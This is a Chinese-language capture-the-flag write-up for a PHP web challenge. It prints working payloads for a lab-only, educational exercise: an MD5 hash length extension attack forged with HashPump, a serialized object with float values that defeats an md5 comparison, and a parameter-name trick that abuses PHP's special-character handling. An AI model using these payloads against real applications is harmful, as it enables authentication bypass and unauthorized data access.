第一届赣网杯网络安全大赛[parseHash]

打了个酱油。
记录下一些web题,杂项和其他赛题网上也挺多的。

由于打完没直接写,现在靶场也关了,无法逆推,所以自己修改了key值重新改了下hash。题目还是一样。

源码:

 
include("key.php");
class person{
      
    public $aa; 
    public $bb; 
    public $username; 
    public $password; 
    public function __construct($key=''){
      
        $this->username="jxsz";
        $this->password="jxsz";
        if(strlen($key)==16&&md5($key . urldecode( $this->username .  $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){
     
            echo "Welcome";
        }  
    } 

    public function __destruct(){
      
        $this->aa = (string)$this->aa; 
        if(strlen($this->aa) > 5 || strlen($this->bb) > 5||preg_match('/INF|NAN|M_/i', $this->aa)){
      
            die("no no no"); 
        } 
        if($this->aa !== $this->bb && md5($this->aa) === md5($this->bb) && $this->aa != $this->bb){
      
            echo file_get_contents("/flag"); 
        } 
    } 
} 
highlight_file(__FILE__); 
$person=new person($key);
$other_pwd=$_POST["pwd1"];
$other_hash=$_POST["hash_code"];
if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
     
    echo "66666666666";
    unserialize($_GET['sz_sz.sz']);
}

原题:
第一届赣网杯网络安全大赛[parseHash]_第1张图片
首先我们需要达到以下条件,进入代码段:

if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
     
    echo "66666666666";
    unserialize($_GET['sz_sz.sz']);
}

才能对其进行反序列化,观察代码:

public function __construct($key=''){
      
        $this->username="jxsz";
        $this->password="jxsz";
        if(strlen($key)==16&&md5($key . urldecode( $this->username .  $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){
     
            echo "Welcome";
        }  
    }

可以知道这里能通过hash长度扩展攻击进行绕过。
hash长度扩展攻击的攻击条件:

当知道 MD5(secret) 时,在不知道secret的情况下,可以很轻易的推算出 MD5(secret||padding||m’)
在这里m’ 是任意数据, || 是连接符,可以为空。padding是 secret 最后的填充字节。
md5的padding字节包含整个消息的长度,因此,为了能够准确的计算出padding的值,secret的长度也是我们需要知道的。

可以总结以下几点:

  • 准备了一个密文和一些数据构造成一个字符串,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)。
  • 让攻击者可以提交数据以及哈希值,但是攻击者不知道密文。
  • 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值。

这里可以直接使用HashPump这个工具来构造hash长度扩展攻击payload:
github项目地址:https://github.com/bwall/HashPump
由于我们还要绕过strpos(urldecode($other_pwd),"szxy666")>0,所以需要将扩展填充数据置为szxy666,以此进行绕过。
在这里插入图片描述

d6659e29cc6a0878d07b19dd29a70ddc
jxsz\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00szxy666

\x替换成%,接着传入参数中:

pwd1=jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666&hash_code=d6659e29cc6a0878d07b19dd29a70ddc

第一届赣网杯网络安全大赛[parseHash]_第2张图片
成功绕过执行并输出66666666666
接着我们要做的就是反序列化绕过md5比较,而上面将比较值进行过滤,值长度不能大于5,并且过滤了INF|NAN|M_等绕过方法,这里还是可以通过高精度进行绕过:
参考链接:https://www.cnblogs.com/phpper/p/7664069.html
序列化:

class person{
     
    public $aa;
    public $bb;

 }
 $float=new person();
$float->aa=0.8 * 7;
$float->bb=7 * 0.8;
var_dump(serialize($m));
 ?>

构造payload如下:
在这里插入图片描述

O:6:"person":2:{
     s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

然而发现unserialize($_GET['sz_sz.sz']);参数名带中有含有特殊字符.,可以看下在php对字符.等特殊字符的过滤机制:https://github.com/php/php-src/commit//fc4d462e947828fdbeac6020ac8f34704a218834?branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified
第一届赣网杯网络安全大赛[parseHash]_第3张图片在其中,我们可以很明确的看到发现空格或.或[,php会将其替换为_,而代码中可以看出只会将特殊字符替换一次。
我们可以利用特殊字符会替换为_,而只会替换一次的特殊字符的处理机制,将参数改为sz[sz.sz,这样的话,php就会将[当成特殊字符,而将其替换为_,由于替换一次的机制,所以.就绕过了过滤机制不被替换。
所以我们构造的参数名为sz[sz.sz
直接传入序列化的:

O:6:"person":2:{
     s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

payload:

?sz[sz.sz=O:6:"person":2:{
     s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

成功拿到flag。
第一届赣网杯网络安全大赛[parseHash]_第4张图片

flag{
     hashparse+sz_sz.sz}

你可能感兴趣的:(第一届赣网杯网络安全大赛[parseHash])